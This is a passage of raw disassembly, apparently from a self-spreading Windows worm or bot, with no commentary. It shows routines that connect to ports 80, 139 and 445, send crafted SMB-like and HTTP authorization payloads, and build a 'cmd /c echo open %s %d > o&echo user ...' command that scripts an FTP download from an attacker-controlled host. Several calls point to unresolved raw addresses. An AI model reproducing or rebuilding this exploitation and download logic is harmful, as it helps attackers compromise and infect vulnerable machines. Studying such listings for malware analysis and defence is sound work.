		lea	ecx, [ebp+var_18]
		call	sub_40CC4F
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD1A
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD1A
		lea	ecx, [ebp+var_40]
		call	sub_40CD2A
		lea	ecx, [ebp+var_18]
		call	sub_40CBAA
		lea	ecx, [ebp+var_50]
		call	sub_40CBAA
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD1A
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD1A
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD1A
		lea	ecx, [ebp+var_38]
		call	sub_40CD2A
		lea	ecx, [ebp+var_20]
		call	sub_40CBAA
		lea	ecx, [ebp+var_30]
		call	sub_40CBAA
		lea	ecx, [ebp+var_40]
		call	sub_40CBAA
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCC9
		lea	ecx, [ebp+var_28]
		call	sub_40CC4F
		push	2
		push	offset dword_432400
		lea	ecx, [ebp+var_28]
		call	sub_40CCC9
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD1A
		lea	ecx, [ebp+var_28]
		call	sub_40CD2A
		lea	ecx, [ebp+var_38]
		call	sub_40CBAA
		lea	ecx, [ebp+var_10]
		call	sub_40CB11
		lea	ecx, [ebp+var_8]
		call	sub_40CB11
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD1A
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		lea	ecx, [ebp+var_28]
		call	sub_40CBAA
		push	offset dword_4323FC
		lea	ecx, [ebp+var_8]
		call	sub_40CCFD
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD1A
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CBAA
		push	offset dword_4323F8
		lea	ecx, [ebp+var_10]
		call	sub_40CCFD
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD1A
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		lea	ecx, [ebp+var_8]
		call	sub_40CBAA
		push	offset dword_4323EC
		lea	ecx, [ebp+var_8]
		call	sub_40CCFD
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD1A
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CBAA
		push	(offset	loc_4323E7+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CCFD
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD1A
		lea	ecx, [ebp+var_8]
		call	sub_40CBAA
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D0E7
; ---------------------------------------------------------------------------


loc_40D0D9:				; CODE XREF: sub_40CD85+1Bj
					; sub_40CD85+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D0E7:				; CODE XREF: sub_40CD85+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0EB	proc near		; CODE XREF: sub_40D1AF+A1p
					; sub_40D1AF+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D152
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426636
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D156


loc_40D152:				; CODE XREF: sub_40D0EB+54j
		xor	eax, eax
		jmp	short loc_40D166
; ---------------------------------------------------------------------------


loc_40D156:				; CODE XREF: sub_40D0EB+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4C931C


loc_40D166:				; CODE XREF: sub_40D0EB+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D0EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D16A	proc near		; CODE XREF: sub_40D1AF+81p
					; sub_40D1AF+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4C9300
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9354
		cmp	eax, 4
		jz	short loc_40D194
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D194:				; CODE XREF: sub_40D16A+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4C9354
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D16A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1AF	proc near		; CODE XREF: sub_40D289+48p
					; ___:0040D707p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1D8
		xor	al, al
		jmp	loc_40D284
; ---------------------------------------------------------------------------


loc_40D1D8:				; CODE XREF: sub_40D1AF+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BD10
		push	2Fh
		push	offset dword_432124
		push	esi
		call	sub_41CAB0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_432154
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CAB0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CAB0
		push	6
		add	ebx, edi
		push	offset dword_4CC01C
		push	ebx
		call	sub_41CAB0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_43209C
		push	ebx
		call	sub_40D16A
		add	esp, 48h
		test	al, al
		jnz	short loc_40D240


loc_40D23C:				; CODE XREF: sub_40D1AF+B5j
		xor	bl, bl
		jmp	short loc_40D27B
; ---------------------------------------------------------------------------


loc_40D240:				; CODE XREF: sub_40D1AF+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D0EB
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D16A
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D23C
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D0EB
		add	esp, 10h
		mov	bl, 1


loc_40D27B:				; CODE XREF: sub_40D1AF+8Fj
		push	esi
		call	sub_41BA31
		pop	ecx
		mov	al, bl


loc_40D284:				; CODE XREF: sub_40D1AF+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D289	proc near		; CODE XREF: ___:0040D6EDp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432160
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D2C4
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D0EB
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2C4
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2C8


loc_40D2C4:				; CODE XREF: sub_40D289+1Bj
					; sub_40D289+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2C8:				; CODE XREF: sub_40D289+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1AF
		add	esp, 0Ch
		leave
		retn
sub_40D289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2DB	proc near		; CODE XREF: sub_40D327+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427688
		call	sub_41CF04
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427680
		fstp	[esp+10h+var_10]
		call	sub_41CDE5
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41CF04
		inc	eax
		leave
		retn
sub_40D2DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D327	proc near		; CODE XREF: sub_40D4C9+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426D63
		call	sub_41D3D0
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D968
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2DB
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D369
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8E3


loc_40D369:				; CODE XREF: sub_40D327+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D486
		mov	ebx, [ebp+10h]


loc_40D378:				; CODE XREF: sub_40D327+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D382
		push	3
		jmp	short loc_40D394
; ---------------------------------------------------------------------------


loc_40D382:				; CODE XREF: sub_40D327+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D38C
		push	2
		jmp	short loc_40D394
; ---------------------------------------------------------------------------


loc_40D38C:				; CODE XREF: sub_40D327+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D395
		push	1


loc_40D394:				; CODE XREF: sub_40D327+59j
					; sub_40D327+63j
		pop	ebx


loc_40D395:				; CODE XREF: sub_40D327+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427698
		fstp	[esp+40h+var_40]
		call	sub_41CF2B
		pop	ecx
		pop	ecx
		call	sub_41CF04
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3D4
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3D4:				; CODE XREF: sub_40D327+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D442
		add	[ebp-18h], eax


loc_40D426:				; CODE XREF: sub_40D327+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4321AC[eax]
		push	eax
		push	1
		call	sub_40D765
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D426


loc_40D442:				; CODE XREF: sub_40D327+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D460
		push	dword ptr [ebp+14h]
		call	sub_41B960
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7BE
		mov	[ebp-18h], edi


loc_40D460:				; CODE XREF: sub_40D327+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D47A
		sub	esi, [ebp-1Ch]


loc_40D46B:				; CODE XREF: sub_40D327+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D765
		dec	esi
		jnz	short loc_40D46B


loc_40D47A:				; CODE XREF: sub_40D327+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D378
		push	1
		pop	ebx


loc_40D486:				; CODE XREF: sub_40D327+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D968
		push	dword_427690
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D815
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D968
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D327	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4C9	proc near		; CODE XREF: ___:0040D6D0p
		mov	eax, offset loc_426D80
		call	sub_41D3D0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43B4B8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D327
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BC9B
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D513
		xor	bl, bl
		jmp	short loc_40D557
; ---------------------------------------------------------------------------


loc_40D513:				; CODE XREF: sub_40D4C9+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D521
		mov	ecx, eax


loc_40D521:				; CODE XREF: sub_40D4C9+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D529
		mov	eax, [ebp+18h]


loc_40D529:				; CODE XREF: sub_40D4C9+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C100
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4C9354
		cmp	eax, esi
		jz	short loc_40D54E
		xor	bl, bl
		jmp	short loc_40D550
; ---------------------------------------------------------------------------


loc_40D54E:				; CODE XREF: sub_40D4C9+7Fj
		mov	bl, 1


loc_40D550:				; CODE XREF: sub_40D4C9+83j
		push	edi
		call	sub_41BA31
		pop	ecx


loc_40D557:				; CODE XREF: sub_40D4C9+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D968
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D968
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4C9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_432358
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4C9040
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40A9FA
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_41C100
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_4321F0
		push	eax
		call	sub_40CD85
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_40D62C
		xor	eax, eax
		jmp	loc_40D758
; ---------------------------------------------------------------------------


loc_40D62C:				; CODE XREF: ___:0040D623j
		mov	[ebp-0Ch], esi


loc_40D62F:				; CODE XREF: ___:0040D72Fj
		test	esi, esi
		jnz	loc_40D735
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D71D
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4C9304
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C9344
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D712
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6DA
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D968
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9A4
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4C9
		add	esp, 1Ch
		jmp	short loc_40D70F
; ---------------------------------------------------------------------------


loc_40D6DA:				; CODE XREF: ___:0040D698j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D6F4
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D289
		jmp	short loc_40D70C
; ---------------------------------------------------------------------------


loc_40D6F4:				; CODE XREF: ___:0040D6E4j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D712
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1AF


loc_40D70C:				; CODE XREF: ___:0040D6F2j
		add	esp, 0Ch


loc_40D70F:				; CODE XREF: ___:0040D6D8j
		movzx	esi, al


loc_40D712:				; CODE XREF: ___:0040D68Bj
					; ___:0040D6FEj
		push	ebx
		call	dword_4C939C
		test	esi, esi
		jnz	short loc_40D728


loc_40D71D:				; CODE XREF: ___:0040D648j
		push	3E8h
		nop
		call	near ptr 2670EE1h


loc_40D728:				; CODE XREF: ___:0040D71Bj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D62F


loc_40D735:				; CODE XREF: ___:0040D631j
		lea	ecx, [ebp-8]
		call	sub_40CBAA
		test	esi, esi
		jz	short loc_40D756
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40D756:				; CODE XREF: ___:0040D73Fj
		mov	eax, esi


loc_40D758:				; CODE XREF: ___:0040D627j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D44


loc_40D75D:				; CODE XREF: sub_426D44+3j
					; ___:00426D5Dj ...
		push	1
		call	sub_40D968
		retn
; END OF FUNCTION CHUNK	FOR sub_426D44

; =============== S U B	R O U T	I N E =======================================



sub_40D765	proc near		; CODE XREF: sub_40D327+110p
					; sub_40D327+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D77F
		call	sub_42657A


loc_40D77F:				; CODE XREF: sub_40D765+13j
		test	ebx, ebx
		jbe	short loc_40D7B6
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40D7B6
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BD10
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7B6:				; CODE XREF: sub_40D765+1Cj
					; sub_40D765+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D765	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7BE	proc near		; CODE XREF: sub_40D327+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7D8
		call	sub_42657A


loc_40D7D8:				; CODE XREF: sub_40D7BE+13j
		test	ebx, ebx
		jbe	short loc_40D80D
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40D80D
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CAB0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D80D:				; CODE XREF: sub_40D7BE+1Cj
					; sub_40D7BE+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D815	proc near		; CODE XREF: sub_40D327+17Cp
					; sub_426490+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D82D
		call	sub_426453


loc_40D82D:				; CODE XREF: sub_40D815+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D83F
		mov	esi, [ebp+arg_8]


loc_40D83F:				; CODE XREF: sub_40D815+25j
		cmp	edi, ebx
		jnz	short loc_40D861
		push	dword_427690
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9D9
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9D9
		jmp	short loc_40D8DA
; ---------------------------------------------------------------------------


loc_40D861:				; CODE XREF: sub_40D815+2Cj
		test	esi, esi
		jbe	short loc_40D8A4
		cmp	esi, eax
		jnz	short loc_40D8A4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D875
		mov	eax, offset dword_4276A0


loc_40D875:				; CODE XREF: sub_40D815+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8A4
		push	1
		mov	ecx, edi
		call	sub_40D968
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D890
		mov	eax, offset dword_4276A0


loc_40D890:				; CODE XREF: sub_40D815+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8DA
; ---------------------------------------------------------------------------


loc_40D8A4:				; CODE XREF: sub_40D815+4Ej
					; sub_40D815+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40D8DA
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8BE
		mov	eax, offset dword_4276A0


loc_40D8BE:				; CODE XREF: sub_40D815+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CAB0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8DA:				; CODE XREF: sub_40D815+4Aj
					; sub_40D815+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D815	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8E3	proc near		; CODE XREF: sub_40D327+3Dp
					; sub_40D765+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D8F5
		call	sub_42657A


loc_40D8F5:				; CODE XREF: sub_40D8E3+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D91E
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D91E
		cmp	al, 0FFh
		jz	short loc_40D91E
		cmp	edi, edx
		jnz	short loc_40D959
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D913:				; CODE XREF: sub_40D8E3+47j
		mov	ecx, esi
		call	sub_40D968


loc_40D91A:				; CODE XREF: sub_40D8E3+4Bj
					; sub_40D8E3+52j
		xor	al, al
		jmp	short loc_40D963
; ---------------------------------------------------------------------------


loc_40D91E:				; CODE XREF: sub_40D8E3+19j
					; sub_40D8E3+20j ...
		cmp	edi, edx
		jnz	short loc_40D937
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D92C
		push	1
		jmp	short loc_40D913
; ---------------------------------------------------------------------------


loc_40D92C:				; CODE XREF: sub_40D8E3+43j
		cmp	ecx, edx
		jz	short loc_40D91A
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D91A
; ---------------------------------------------------------------------------


loc_40D937:				; CODE XREF: sub_40D8E3+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D954
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D949
		cmp	eax, edi
		jnb	short loc_40D961


loc_40D949:				; CODE XREF: sub_40D8E3+60j
		push	1
		mov	ecx, esi
		call	sub_40D968
		jmp	short loc_40D959
; ---------------------------------------------------------------------------


loc_40D954:				; CODE XREF: sub_40D8E3+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D961


loc_40D959:				; CODE XREF: sub_40D8E3+28j
					; sub_40D8E3+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA40


loc_40D961:				; CODE XREF: sub_40D8E3+64j
					; sub_40D8E3+74j
		mov	al, 1


loc_40D963:				; CODE XREF: sub_40D8E3+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D968	proc near		; CODE XREF: sub_40D327+1Fp
					; sub_40D327+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D994
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D994
